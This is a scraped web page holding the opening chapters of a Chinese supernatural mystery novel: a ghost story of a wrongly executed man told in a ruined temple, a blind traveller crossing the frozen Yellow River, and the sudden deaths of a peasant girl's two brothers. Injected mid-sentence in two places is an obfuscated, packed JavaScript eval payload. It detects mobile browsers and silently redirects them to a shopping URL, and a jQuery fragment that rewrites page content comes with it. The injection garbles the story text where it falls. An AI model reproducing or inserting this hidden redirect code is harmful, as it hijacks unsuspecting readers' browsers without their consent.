《竟不还》 1. 鸣冤鼓 县衙外的鸣冤鼓在子时击响。 鸣冤鼓大如磨盘,鼓槌擀面杖一般粗,擂起来声势浩大,滚雷般砸在悄无声息的寂夜中,震出方圆几里外,惊醒了几乎半城人。 咚咚咚—— “咋的了这是?” “有人喊冤咯!” “这大半夜的……” 屋舍里传出零星人声,已经有百姓披衣下床,抽开了门闩,半醒半迷糊的探身子出来张望。 击鼓者灰头土脸,一身破衣烂衫,样子与乞丐无异,或者比乞丐还要凄惨一点。他赤着的双脚戴了副镣铐,脚踝的皮肉早磨烂了,腐肉外翻,麻杆儿粗细的腿上还有数道大大小小的鞭痕,击鼓的十指同样伤痕累累,一看就知道受过鞭挞、夹棍、拶指等一系列严刑拷打。 此人浑身是伤,无一处好皮肉,破衣烂衫浸染着污糟的血,散发出一股浓浓的腥臭气。即便如此,他擂鸣冤鼓的劲头却刚猛十足,那动静儿粗犷霸道,一声紧着一声,甚至吓哭了三三两两个半大孩子。 咚咚咚—— 直到值守的司阍人敞开衙门,这惊天动地的擂鼓声方才止歇。 被从床铺上吵起来的衙役黑着张驴脸,大踏步迈出来,厉声喝问:“什么人击鼓……做什么慌慌张张的……” 衙役话到一半,就见司阍人满脸惊恐之色,几乎是屁滚尿流地扑进来,在踏跺上摔了个狗啃泥,抬起头已是鼻血长流。面对衙役的质问,那阍人哆哆嗦嗦指向背后,被噎着了般,瞠目结舌了半天都挤不出个字儿。 衙役斥道:“什么人把你吓成这副怂样儿?!” 语闭,那击鼓鸣冤之人转出青砖浮雕的照壁,脚步踉跄着走来。 院中的灯笼只点了一盏,光线昏暗,隐隐能分辨对方身上披挂着的是一件破破烂烂的囚服,衙役眯起眼,盯住来者瞅了半晌,待人近了,看清那张脸,顿时大惊失色。衙役嗷呜一嗓子,比司阍人逃得还快,接着衙门里一阵鸡飞狗跳,甚至连后来的县老爷都被吓得不省人事。 …… 破庙里升着火堆,三五个赶脚的坐在扁担上,架了口铁锅煮稀粥。外头寒风呼啸,从破烂的窗户和卸了半扇的庙门灌进来,将火焰刮得东倒西歪。 一名精瘦的脚夫挪了挪位置,脸晒得跟黄土一个色儿,他用略显佝偻的身躯挡住扑火的风势,追问:“戴着镣铐,这人是个逃犯么?” 有一人道:“逃犯还敢跑来县衙自投罗网啊?怕是有什么了不得的来头?不然怎么连县太爷和官差都怕他?” 方才说故事的年老脚夫怪笑一声,咧出一排参差不齐的黄牙:“能不怕吗,因为这人没能挺过严刑拷打,前几日才惨死在县衙的狱中。”说着语调降了半度,在呼呼的风声中阴沉沉开口,“一个已经死了的人,居然又在夜半子时跑到县衙来击鼓鸣冤,这不活见鬼吗?!” 听众倒吸一口凉气,浑身汗毛倒竖,又被寒风吹了个哆嗦。 庙柱旁边坐了个年仅二八的小姑娘,将脚夫们的话一字不漏的听了去,许是觉得害怕,她下意识抱住膝盖,缩紧了身子,往身边的人靠了靠。 她旁边瘫坐着一名面色灰白的中年男人,瘦脱了相,皮包骨似的,看着一副久病难愈的样子,颤巍巍从怀里掏出半块糜子面馍,揣了整一天,赶路时被朔风吹得梆硬梆硬,冰坨子一样,他用力掰成两半,分一小半给身边姑娘,便就着脚夫们的鬼故事下馍。 其中有人质疑了一句:“真的假的?” “我这些年走脚的时候,在北屈县听一名年老的打铁匠说的,他们那县城里头的人几乎都知道这桩离奇事儿。”老脚夫说,“旁边的两个官差当场吓尿了,尿了一裤兜子,据说就是他俩半夜三更把人套进麻袋抬去荒郊野岭抛的尸,随便找了个小树林挖个坑给埋了。” “许是没死呢,可能还吊着一口气?” 老脚夫摇摇头,他也不是没提出过相同的疑问,那北屈县的老铁匠万分确定地说:“狱卒可没那么糊涂,上刑折腾死个人,还让衙门里的仵作仔细验过,抬出去的时候都僵了。” 听众惊奇万分:“难道真回魂了不成?” 铁锅里咕咚咕咚开始冒白泡儿,一阵热气腾腾,溢出米粥的浓香,荒凉的破庙顿时烟火味儿十足。 老脚夫拿长把儿的大铁勺搅了搅一锅粥,续道:“本来以为闹一宿鬼,公鸡打鸣就该消停了,结果第二天一大清早,那人的尸体就明晃晃吊在鸣冤鼓前,大风一吹,尸体还在衙门前来回摆动,一下接一下撞在鸣冤鼓上,撞得咚咚作响。” 夜深人静的,又身处破庙当中,氛围很足,听众只觉头皮发麻:“我勒个亲娘欸。” 另一位道:“这也忒吓人了。” 庙柱前的小姑娘缩成团,胆怯地往同行男人身边儿蹭,她时不时转过头,眼神儿总是有意无意地瞄向破庙中的某个昏暗的角落。 ——角落里倚坐着一名身着青衣的年轻男子,男子面朝斑驳灰土的墙面,始终未曾回头。 小姑娘自进庙起就注意到了这个人,他应该是赶路太过疲累,早早就靠着墙根儿睡下了,似乎并未被这些人的动静和谈话声干扰。 小姑娘期间来来回回打量青衣客数次,因为他跟来这间破庙落脚的所有人都不一样,虽然那身青衣看着素雅,但外袍却是绸缎庄里最上乘的锦缎裁制的,露出里衣一折雪白的领口。 而青衣客微微侧头靠墙,显出一截儿修长的脖颈儿,白生生的,几乎赶上跟他领口一个色儿,完全和他们这群面如土色的人天差地别。 小姑娘盯着那截细白脖颈儿看了须臾,又不太好意思地撇开脸。 不知怎的,她心里七上八下的,怀疑自己可能被鬼故事吓出了心悸,便又看向那几个围着粥锅的脚夫。 年老的脚夫一辈子走南闯北,途中经历过不少奇闻轶事,歇下来就爱跟大伙儿分享他前半生的所见所闻,说得有鼻子有眼儿,他续上之前的话:“衙门里谁都不敢上前,可也不能任由尸体这么一直吊着撞鸣冤鼓啊,全城百姓还都看着呢,都知道县衙里出了桩大冤案子,而且这个冤死的人子夜回来申冤了。” “那他到底受了什么冤屈啊?” “据说是把当地员外的幺子推进大河淹死了,可人不认罪啊。老员外能善罢甘休么,买通狱卒在牢里对其大刑伺候,这人真真儿是把硬骨头,被折腾到死都没认罪,指不定是那老员外的儿子自己失足落水淹死的呢,非要赖上别人,拉个无辜受害者给他那短命鬼儿子偿命。” 老脚夫摇头叹息道,“当地百姓都传,那人冤死在狱中,身边却连半个亲人都没有,自然没人替他申冤,死不瞑目啊,所以才会变成厉鬼,来给自己申冤。” 火堆里的木柴噼啪炸了一下,响声在静夜中格外清脆,将听入神的众人惊了一小跳。 几点火星子溅出来,某脚夫赶紧缩回伸长的一条腿,抬手拍打溅在裤脚上的火星子。粗布麻料被烧出一个枯黄的斑点。脚夫不甚在意,从旁抓起一根枯树枝挑旺火势。 有人等不及追问:“后来呢?” 红彤彤的火光烤在老脚夫布满沟纹的脸上:“后来,还是县太老爷派人去人祖山请了位修为高深的老道士,才把那具撞鸣冤鼓的尸体给解下来,据说啊,那尸体沉得嘞,似有千斤重,而且比石头还硬,直挺挺的,跟石雕差不离,两个人压根儿搬不动,最后叫了七八个大汉上去抬,才将其安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“人祖山那位老道士说,这凶尸执念虽重,却也不到处祸害城里的百姓,只上衙门敲鼓鸣冤,八成是个讲理的,将清白看得比生死还重。所以要想他安生,就得消了他死不瞑目的怨气,洗去他身上的冤屈。”老脚夫盯着一锅咕嘟咕嘟冒泡的米粥,“照办呗,县太爷当夜子时便哆哆嗦嗦升了堂,一帮站桩的衙役在下头也抖得跟筛糠似的。案子得重新彻查,查了半拉月,始终没查出个什么名堂,突然一天半夜,县太爷和几名衙役都在县衙的公堂上悬了梁。” 众人猝不及防:“啥?当官的上吊了?” “这是成悬案了么?” “有的老一辈儿琢磨,那东西当时只给了县衙半月为期,因为半月后他就要去阴司报到了。错过了时辰阎王殿不收他魂,以后没办法投胎,会在阳间变成孤魂野鬼。官府既然没能替他申冤,索性就把这些人一起带了走。”老脚夫缓缓道,“也有人说,那阴魂其实一直没散,现在又多添了几条阴魂在衙门里头游荡徘徊。之后朝廷又指派新的县官来北屈赴任,但是走马上任没几天,某日刚断完一桩命案,退堂鼓敲完三下,县老爷从太师椅上站起身,还没走出去几步路,就莫名其妙摔了个倒仰,跟谁在他跟前儿推了他一把似的,后脑勺一猛子磕在三尺法桌的桌角,人当场就没了,格外突然。据说县太爷当时就是走在那死刑犯跪着的青石板上,也正是当年诈尸那位所站的席位。” 这青石也有讲究,衙门公堂下左右铺着两块,左为原告席,右为被告席。 老脚夫讲得绘声绘色,也细致入微:“应该又是一桩冤案,所以退堂鼓一敲,县太爷就遭了那徘徊在此的阴间人惩处。再来就是第三任县太爷,判案后直接被公堂上那块‘明镜高悬’的匾额给砸得一命呜呼,此后这地方就变得异常邪性,大白天都阴气森森的,一踏进去后背就飕飕冒凉风儿。接连死了三任县太爷啊,谁还敢不信邪,所以再来的知县便听取山上老道的建议,把县衙从城东挪到了城西,原先的衙门就这么弃置了。” 老挑夫说到末,早已经口干舌燥饥肠辘辘了,觑着铁锅道:“煮烂糊了,快拿碗来盛……” 几名脚夫听得意犹未尽,纷纷端着碗围着铁锅盛粥,还在七嘴八舌问后续,后续则是随着衙门的搬迁没再继续发生玄乎事儿,死人申冤就逐渐变成了民间传说。 2. 青衣客 老脚夫掀开挑子里一角遮布,摸出块馍啃了一大口,用力嚼了嚼,鼓着腮帮子避开缺口的碗沿,呼哧呼哧嗦了一口滚烫的米汤。 一口锅仅仅只下几把米,一人舀一碗,其实碗底只有几颗米粒儿。 “欸,那个谁,那小丫头,和那位大哥,你们要不要来一碗?”脚夫热情地招呼庙柱旁缩成团的小姑娘,“大冷天儿的,别干嚼馍了,过来喝口热乎的米汤暖和暖和。” 小姑娘早就冻得手脚冰凉,又被鬼故事吓唬得浑身发寒,犹豫地看着这几个脚夫。 赶脚的走东窜西,四海为家,在道上遇到形形色色的朋友,很多时候会互相行个方便,况且两碗米汤也不值钱。 脚夫看出她想喝又顾虑的模样,当即道:“多递俩碗,给他们也喝个热乎。” 米汤添满碗,脚夫笑容淳朴道:“过来呀。” 小姑娘征询同意般望向身边的中年男人,待对方轻轻点了点头,她才撑着庙柱直起身,缓缓朝那碗米汤走过去,伸双手捧住。她刚要道谢,脚夫却朝破庙的北角抬了抬下巴:“也帮我给那位送一碗吧。” 小姑娘点点头,捧着碗转身,她脚步极轻,仿佛怕吵到青衣客似的,待到近前,没来由一阵紧张,酝酿了一下才小声开口:“这位……公子……” 倚墙的青衣客睁开眼,正过身来。 当他转过头的瞬间,小姑娘顿时僵在原地,愣愣张着嘴,双眼发直的盯住这张清俊的脸。 她形容不来,但是打从娘胎起,她就没见过这么好看的人,好看到令人心慌。特别是当对方面朝自己时,小姑娘胸腔里似擂鼓一般,叮铃哐啷的狂敲。她忽地红了脸,变成一个小结巴,话都说不利索了:“公……公子……喝……喝口热汤吧……” 青衣客抬手稳稳接住她捧来的米汤:“多谢。” 小姑娘瞄到他接土陶碗的那只手,连指关节都是白净无瑕的,再对比自己这双粗糙暗黄的双手,因为经常帮着家里干农活儿,指甲缝和掌纹里都是黑灰,脏兮兮的。 她瞬间局促不安起来,连忙把手缩进袖中,然而袖管上也满是污渍,甚至已经磨烂了,她突然感到窘迫,指头紧紧绞着袖口,说话更磕巴了:“是……是……赶脚的大叔……让我……让我端给你……” 青衣客侧首,又对几名脚夫道谢。 脚夫握着铁勺,大剌剌冲他一摆手,带几分江湖气:“甭客气,出门在外有诸多不便,一碗米汤又不值钱,就是天儿太冷,夜里刮大风更冷,这破庙又四面漏风,喝口热乎的暖暖身子,不然扛不住。”转而又招呼,“丫头,来,端你这碗。” “哎哟,”刚刚讲故事的老脚夫瞅着青衣客,眼睛刷地一亮,囫囵咽下去嘴里的馍,由衷赞叹,“公子模样真俊呐。” 青衣客笑了笑,脚夫闲聊似的问:“一个人赶路么?打哪儿来啊?” 青衣客微微颔首,答话:“长安。” “怪不得,一看公子就气度不凡,原来是从长安来的贵人,走到这儿也挺远的吧,准备到哪儿去呢?” 青衣客默了片刻,思起方才脚夫们的谈话,遂道:“访友。” 屋檐下倒挂的一排冰凌正缓缓消融,在寒夜中有节奏的嘀嘀嗒嗒,落在黄土地上洇出几摊阴影似的水痕。 滴水声对于白日里挑着重担赶了数十里路的脚夫们毫无影响,他们筋疲力尽,在破庙背风的墙根儿下挤成一团,个个蜷着身子,裹着粗布麻衣倒头就睡,不一会儿破庙里便鼾声四起,此起彼伏地响了大半宿。 青衣客耳力极好,身处这样嘈杂的环境注定睡不好觉,他靠墙而坐,在黑暗中睁开眼睛,听见斜对面传来衣料摩擦的轻响——那面色灰白瘦脱了相的中年男人推醒身边的小姑娘,压低声音悄声唤:“秦三……” 叫秦三的小姑娘睡眼惺忪,声音有些沙哑:“大哥……” 中年男人不多废话,自己慢慢撑起身:“起来,走了。” 秦三揉揉眼,望了望外头已经麻亮的天色,跟着起身。兴许是腿脚蜷久了有些发麻,她支着膝盖骨缓了一阵儿,才去搂身旁的包袱,打个结系在肩头,轻手轻脚地跟着大哥往外走。 行到门口时,秦三下意识望向墙角的青衣客,破庙里的火堆还燃着一把余火供人取暖,足以照亮每一个角落,只是略显昏暗。秦三这一扭头打望,正好与青衣客撞个对眼儿,就好像偷看人却被当事人逮了个正着,她一阵心虚,赶紧移开视线,快步流星追着中年男人出去。 青衣客似乎在她最后那道的余光中站起了身,秦三不敢确定,直到走出好远,翻过一座光秃秃的黄土丘,她才有勇气回过头,就见青衣客走在距离她百步之外,第一缕晨曦在他身后扎破了天幕,将青衣客的周身镀上一层浅淡的金光。 秦三再次看直了眼,甚至有些目眩神迷,完全没留意脚下,被地上一簇干枯的荆条绊了个跟头。 “哎哟。”经历寒冬腊月的黄土被冻得梆硬,跟石头也差不离,所以她这一跤可摔得不轻松,膝盖一股钻心的剧痛。 中年男人先她一步,自然没来得及搀扶,转身就见这丫头趴在了地上:“怎的不好好看路,这么大的人了还摔跟头。” “我没注意。”她小声嘟囔一句,慢慢爬起来,去揉膝盖时才发现手心擦破一块皮。 “走路要留神呐。”中年男人提醒完又关心道,“没事儿吧?” “没事儿。” “真没事儿吗?” 秦三吹了吹手心,吹掉蹭上的灰土:“就是有点疼。” “让你当心些,别成天这么粗心大意的,小时候还摔断过半颗门牙呢,好长一段时间说话都漏风,膝盖呢?疼吗?要不要大哥背你?”男人边说边去拍她衣服上的灰尘。 刚才膝盖上那股钻心的剧痛已经过去了,秦三摇头:“应该就磕破点皮,我自己能走。” “把裤腿捋上去让我瞧瞧。”中年男人作势躬身。 秦三赶紧退一步:“大哥,真没事儿,都不怎么疼了,后面还有人呢。” 于是中年男人回过头,就见昨晚同住破庙的那位青衣客点着竹杖慢慢走近了。 秦三拽了男人一把:“大哥,走吧。” 男人点点头,想去搀她,被秦三挣开了:“不用。” 见她走路确实没任何瘸拐,只是速度有所减缓,便没再坚持。 秦三声音压得低低的,凑近了男人悄声说:“大哥,咱后面那个人,长得真好看。” 男人笑了笑:“是啊,细皮嫩肉的,一看就知道非富即贵,肯定不是小门小户能养出来的人,咱家可攀不上啊。” 秦三一怔,随即是副被点破心思的恼羞:“大哥,你胡说八道什么呀?!” 自家幺妹也到二八年华了,他一个过来人,还能瞧不出来小丫头这点怀春的心思么:“我不胡说八道,你也别胡思乱想。” 别的不论,仅仅看人那身衣料,就不是寻常人家穿戴得起的,哪怕一根那种料子的手绢,他们都拿不出多余的闲钱给小妹购置。 于他们这样贫寒的家境而言,吃饱穿暖都不是件容易事儿,更遑论其他。 若是将来要给这丫头许户人家,至多也只能配个像孙家阿水那样的庄稼汉,家里有地,还有犁地的牛,一头拉磨的骡子,甚至一口安身立命的窑洞。 男人在心里琢磨着,也是时候琢磨了,前些日子,那孙二娘就来家里说过媒。他寻思着,挑来选去,他家三妹顶天能配个开磨坊的王家老幺,但是王家老幺这人比较滑头,及不上孙家阿水老实忠厚。 只是他还没给孙二娘答话,这丫头竟在一个路人身上动了点心思。 秦三却不承认:“我才没有!” 她心里门儿清,身后那位是披绸挂缎的矜贵公子,而她则是粗布麻衣的乡野丫头,不消她大哥提醒也知道高攀不上,断然不敢存非分之想。 中年男人没再搭话,而是目光沉沉地望着前方一望无际的土坡和纵横交错的沟壑,秦三瞄了眼她大哥秒变阴郁的侧脸,也不再吭声,只顾着往前赶路。 跟上来的青衣客却突然出声:“请问二位,知道黄河怎么走吗?” 二人闻声驻足,秦三忙道:“知道,绕过那道山梁往前,看见那棵又低又矮、光秃秃的树了吗……” 青衣客嗓音温润:“抱歉,我眼睛看不见。” 闻言,秦三蓦地一愣,好半晌才反应过来,首先直视对方的眼睛,这明明是一双含情脉脉的丹凤眼,但是瞳色有些淡,因为目不视物,透出几分空洞感。 对视的间隙,秦三才发现他的目光是分散的,虽然好像在看着她,视线却没有半分焦距。 他居然看不见。 秦三猝不及防,这么好看的人竟是个瞎子。 可他一点儿都不像个睁眼瞎,他昨晚明明稳稳当当接住了她递过去的那碗米汤,双手丝毫没在虚空中胡乱摸索,就好似看得见一般,而且走路也——秦三这才注意到对方手执竹杖,其实是一根盲杖。 秦三突然觉得怅然,对初次谋面的陌生人生出几分可惜之情来,于是嘴快道:“其实我们也……” 她话到一半戛然而止,因为被旁边的大哥掐了一把。 中年男人接过话:“你一直向东走,大概再有十来里地,就到黄河边了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227660|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 青衣客:“多谢这位大哥。” “不必言谢。” 待青衣客往山道东去,秦三才拽了拽她大哥的衣袖,低声道:“山道这么多悬崖沟壑,前头又是峡谷,他看不见,若是滑了脚很危险的,反正咱们也要过河,为什么不顺便给他领个路。” “他一个瞎子大老远的能从长安走到这儿,让谁领路了?你倒是看得见,你还摔个大跟头呢,我看瞎子都比你强。” 秦三佯怒:“你又数落我!” 中年男人语气有些无奈:“咱们跟他不是一路人,何必同路。” 秦三便没再吱声儿,有些出神地望着青衣客颀长的背影,衣袂飘在寒风中,格外清雅出尘。 青衣客独行半日,路过一处仅仅只有几户人家的小村庄,年迈的老人坐在窑院儿门口的石墩上,将一根根泡软的荆条从水盆里捞出来编成菜篮子,能让家里小孩儿带去集市上换粮。 青衣客上前讨水喝,老人颤巍巍从石墩上起身,佝偻着背,推开用荆条编织的院儿门进屋,没一会儿,端着小半碗浑浊发黄的水蹒跚走出来,递给青衣客:“喝吧!” 他接过就喝,入口一股浓浓的泥腥味儿,青衣客微微蹙眉:“老丈,这水……” 老人以为他还想讨要,连连摆手:“就这么小半碗,多了没有咯。” “不是,这水怎么有股泥腥味儿?” “哦,你是外乡来的吧,一看就是讲究人儿,喝不惯咱这儿的水,”老人睁着那双昏花的眼睛打量青衣客,“咱们这儿旱呐,要走几里地去圪垛村的窑井里挑水喝,窑井底下沉得都是泥土,自然一股子泥腥味儿。” 怪不得,青衣客没再犹豫,一仰头饮尽。 “你要是早两日来,还能喝上我缸里存蓄的雪水,那个干净,没这股泥腥子味儿。”老人接过空碗,笑呵呵道,“家里的壮丁出远门赶脚去了,这回走得远,快俩月没回来啦,剩下个半大的小娃娃,跟我这糟老头子一样使不上力气,每次只能挑半桶回来,吃水不容易,桶里就剩个底儿,只能给你半碗解解渴。” “多谢,半碗足够了。”他又向老人问路。 老人三言两语跟他道明方向:“离这儿也不远了,咱们以前也是饮大河里的水,那水更浑……哦对了,你是要过河还是坐船啊?大河入冬就给冻上了,渡口也没什么人蹲守,好几个月不行船啦。” “过河。” “过河倒是可以,冰河现在还能走人,就是冰面湿滑,你可得行稳当些。” 告别老丈,青衣客迎着凛冽的寒风一路前行,竹杖一下下点在冻硬的地面上。 目盲并没有影响他的脚程,青衣客来到冰封的河滩边,迎着风向驻足,一站就是大半日。 天下还未统一之前,这里曾是秦晋两国的分疆处——秦晋大峡谷。 黄河仿佛从九霄云外破空开山而来,集流汇溪,将黄土莽原一分为二,可谓“巨灵咆哮掰两山,洪波喷流射东海。” 两岸山高峡深,陡壁岩层中嵌了无数形状各异的悬石,一些胆儿小的百姓是不敢贴着崖壁走的,唯恐某块松动的悬石掉下来将脑门儿砸个血窟窿,多半就活不成了。 以往奔涌的大河被寒冬冰封数尺,坚实的冰层连通两岸,可供人畜车马来往通行。 三三两两个路人频频侧首,送炭的杂役牵着骡子,踩着坚冰来回过了两趟河,有些古怪地看着这个在河滩边纹丝不动的青衣客。他站的时间越长,越像一尊竖立在此的雕塑,只有衣袂在寒风中灵动飘飞。 “嘿,真是个怪人。”送炭的杂役低喃了一句,很是摸不着头脑,而且那人还闭着眼睛,总不能是杵在这睡觉呢吧? 怪人兀自静立许久,看似在闭着眼睛走神,但四面八方的杂音潮水般灌入耳中,他甚至能听见厚厚冰层下流动的水声,还有逆风中飘来连铁碰撞时所发出的阵阵声响,哐啷清脆。 青衣客微微侧耳,仔细捕捉逆风中那串联铁碰撞之音,混在嘈杂的闹市声中,接着咯吱一声门窗推开,有女音尖细高亢地喊了一嗓子:“那个谁,磨镜的……” 连铁是磨镜、剪、刀的匠人走街串巷时招引女客的响器,以几片铁叶叠制成一串,摇起来锒铛作响,似钟似铃,称作惊闺。 女子的后半句被其他贩夫此起彼伏的吆喝声淹没了,只余连铁片叮铃哐啷。 青衣客耳膜蓦地一震,即刻抬手掩耳,将神识自方圆几里外收敛回来,仿佛突然回了魂,终于不像个僵立河滩的雕塑了。 青衣客手执竹杖点了点几块路障,抬脚踩着布满裂痕的冰床,绕过支棱在脚下的大片冰凌,横穿过秦晋峡谷。 3. 鬼衙门 自南向北的寒风在山谷中穿行了百里之远,掀动荒芜原野上的枯枝败叶,微微震颤着,在夜幕中簌簌作响。 青衣客蓦地驻足侧耳,捕捉到一阵凌乱的脚步声,踩折了枯枝,正毫无章法的横冲直撞。 青衣客下意识握紧手中竹杖,身体向北倾,然后听见一串急促的呼吸声,并非只是一个人。 “快……快跑……”这是男子惊惧之下的低吼,混着浊重的急喘。 “……大哥……”女音哽咽而惊惶,显然已经吓哭了。 接着一声嘶哑的惨叫:“救命……救命……救……” 青衣客毫不迟疑,奔着声源疾行。 男子嘶吼一声:“秦三,跑啊!” 急促的脚步声越来越近,突然一个人猛撞过来,青衣客结结实实捞了其一把。 秦三跑得太急,根本刹不住势头,尖叫着扑向对方,额头狠狠磕在青衣客的肋骨上。 两厢都顾不上疼,秦三惊惶失措抬起头,脸上的血色已然全无,腮边被枯枝划出几道细细的血痕,她语无伦次道:“救……救命……不……跑……快跑……” 青衣客沉声问:“出什么……” 他话还未问完,就被不远处一声凄厉的惨叫打断了,利剑般直刺耳膜。 秦三在惨叫声中猛地回头,眼珠子几乎快从眼眶内爆突出来,浊白的眼仁瞬间拉满血丝,黑瞳中投射出一幅诡异可怖的画面——她那黄皮寡瘦且总是透着病气的大哥迅速凹陷干瘪下去,浑身的血肉瞬间被抽干掏空,仅剩下一层完整的人皮,抹布般贴附在骨架上。 骨架还保持着逃跑的姿势,朝前迈着腿,挥起一条胳膊,嘴张得奇大,仿佛还在惨叫,却发不出丝毫声息。只能死不瞑目地望着自家小妹的方向,那双眼睛却成了黑黢黢的空洞,在逃亡中仓促的丧了命。 秦三张嘴想喊,却在巨大的刺激下失了声,只余眼泪汹涌外溢,她欲往前扑,被一只手牢牢箍住了。 荒原上还有人在夺命狂奔,青衣客稳稳捞住秦三扑腾的身子,大步往后带。他虽看不见,却能感知身处危险之境,甚至嗅到一股浓浓的血腥气,且有人在他几步之遥断了气。 怀里单薄瘦小的人哆嗦不止,大滴热泪滴落在他手背上,须臾冰凉。 秦三自喉管里传出嗬嗬哽咽,分外绝望而嘶哑:“……大哥……” 喊完便两眼一抹黑地昏厥过去,不省人事了。 青衣客搂住人,步子忽地一拐,紧跟着那串凌乱的脚步声追去。 几名脚夫的挑子已经在慌逃中丢弃了,大难当前,谁也顾不上那几箩筐盐铁布匹,跟他们一块儿出来赶脚讨生活的老乡折损了俩,死状诡异离奇。 因为事发突然,又惊险万分,所有人都吓破了胆,谁也说不出个由头来,只记得当时他们正喊着号子赶路呢,突然走在最后的老乡发出一声惨叫,大家还没反应过来怎么回事,一回头,就见老乡惨叫着干瘪下去,像被什么看不见的东西吸干了血肉,一点点萎缩扭曲,前后不过须臾之间…… 另一位不明情况的脚夫试图上前查看,才没靠近几步便猝不及防地惨死当场,其余人吓得大惊失色,纷纷撂了挑子逃命狂奔。 二里地外就是城门了,几名脚夫冲向把守的士兵,一边跑一边嚷:“官爷,救命啊,救命啊,官爷,出人命啦。” 几名脚夫惊魂未定地向官兵说起方才的情形,个个脸色煞白,结结巴巴,最后腿软无力地瘫坐在城楼的墙根儿下,一回想,就心惊胆寒,手足发凉。 官兵听了脚夫描述的死状,脸色腾地一变,忙问:“在哪里?” 脚夫抬手朝前一指,众人回过头,就见青衣客怀里横抱着一名昏迷不醒的丫头,从及人高的荒草中走出来。 脚夫们当然认得这位青衣客和他怀中丫头,毕竟昨夜才在同一间破庙借宿过。 他们赶脚的每日挑着重担要走几十甚至上百里地,长年累月锻炼下来,脚程自是比一般人快,哪怕今早启程较晚,也在离城二里外时撵上了人,刚巧与这丫头和其长兄不期而遇。谁知彼此还没来得及打声招呼,就猝不及防地发生祸事,不仅他们死了两个同乡,连这丫头的大哥也一并丧了命。 那场面诡谲到令人恶寒,众人惊惧交加,稍年轻的那名脚夫到现在都止不住手脚发颤,恐惧的心绪无论如何都压不下去,再加上这丫头一醒转就开始哭,那撕心裂肺的劲儿,哭得一众更加心慌。 秦三还待去寻她大哥,被昨夜那名给她舀米汤的脚夫及时拦住:“去不得啊丫头,你不要命啦。” 此言一出,秦三眼前蓦地闪过大哥整个人干瘪下去的情景,顿时双膝一软,朝着守城的官兵瘫跪在地。她跪爬几步,早已哭得面目模糊,鼻涕眼泪糊了满脸:“官爷,救救我大哥……求您去救救我大哥……” 守城的官兵谁也不敢轻举妄动,而是将他们一个不落地领往县衙。 途经街巷的档口,一名老妪觑了这边好几眼,似是怕自己老眼昏花,半晌才敢认:“哎唷,这不是秦家幺妹吗?!” 秦三哭肿了眼睛,还在不断抹泪。 那老妪几步跨到她跟前,急道:“你可算回来了,你家老大呢?赶紧回去看看吧,你家里出大事啦!” 秦三闻言一怔,完全还没从她大哥的死亡中反应过来,呆愣愣问:“出什么大事了?” 此刻于她而言,没什么大事能比得过大哥枉死了。 然而老妪满脸惊骇道:“你那二嫂前夜里不知道发了什么疯,拎着砍柴刀把你二兄砍死啦。” 秦三瞪大一双充血通红的眼睛,脑子里轰的一声,只觉当空一道闪电劈下来,直击颅骨,将她整个人一分为二,硬生生劈成了两半。 老妪一副心有余悸的模样:“作孽啊,砍了十来二十刀,那地上墙上还有门窗上,溅得满屋子都是血啊,吓死人了,你说她一个妇道人家,怎么对自己男人下得去这个狠手的,实在太凶残……” 老妪话音未完,秦三已经疯了般跑出去。 领路的官差冲她背影抬了抬胳膊,没来得及拦人,便只能带着一行人追上去。 秦三脱兔似的蹿出去老远,跑得奇快,几个大男人差点儿撵不上她。七拐八弯的又抄了两条小径,刚转出陋巷,就闻前方棚屋中响起一声凄厉哀恸的哭嚎。 所有人闻声心惊,急匆匆奔向那间破败的棚屋,里头桌椅板凳被掀得东倒西歪,锅碗瓢盆也碎了满地,像是经历过一场激烈的打斗。 正如方才那位老妪所言,屋内鲜血喷溅得到处都是,只是早已干涸成褐色。而秦三就跪趴在血迹当中,正以头抢地,悲恸崩溃的嘶声哭喊。 “二哥——哥——” 她额头一猛子磕在坚硬的地板上,磕得头破血流,最先冲进去的官差和一名脚夫连忙上前阻拦,一左一右架住其胳膊,以免她受刺激过度,就这么撞死在当场。 众所周知,这丫头刚刚才亲眼看见自家大哥遇害,结果一进城来,前后才不到半个时辰,又听闻自家二哥丧命的噩耗,朝夕间痛失两名至亲兄长,任谁都会心生不忍。 秦三看着干巴瘦小的一小女子,发起狠来却爆发力惊人,官差被她挣脱了手,得亏脚夫按住她,防止她一个劲儿的往前扎:“丫头,脑袋磕破了,别干傻事啊……” 秦三挣扎间,哭得撕心裂肺:“哥——” 最后是官差给了她后颈一记,直接把人打晕放倒。 此番大的动静招来了不少街坊邻里,还有刚才那名老妪也踩着碎步赶至现场,气喘吁吁地拨开围观人群进屋,青衣客给她让行一步,老妪瞅着昏厥的秦三急切道:“哎哟这怎么一脑门子血啊,秦家幺妹怎么了?” 许是走得太急,老妪有些上气不接下气地喘。 脚夫答了句:“她自己撞的。” 老妪于心不忍:“可怜哦,命苦啊。” 官差伸手抬起秦三的上半身:“来,咱把她放那边榻上去。” 脚夫搭了把手:“她家中父母呢?” 老妪主动上前帮忙,拿来一个枕头摆好,闻言只叹息着摇了摇头。 脚夫又问:“没有父母吗?那她家里还有别的亲戚长辈能来担事儿吗?” 老妪跟秦家隔了条陋巷,也算近邻,是看着三兄妹打小长大的:“没有哦,父母死得早,撂下三兄妹相依为命。还是秦家老大饥一顿饿一顿,每天东家跑西家串地去帮人下苦力干活儿,好不容易才把两个小弟小妹拉扯大。我琢磨着那秦家大兄可能自己从没捞着过一顿饱饭,人都瘦成皮包骨头了,跟个痨病鬼似的,苦得嘞。如今家中出了这么大桩祸事,怎么就秦三一个人回来,没见着她大兄啊,两人不是一道儿出远门卖黍酒去了吗?!” 在场几名知情人闻言,一时竟不知该如何开口作答,纷纷转头看向昏迷不醒的秦三,目光既同情又怜悯。 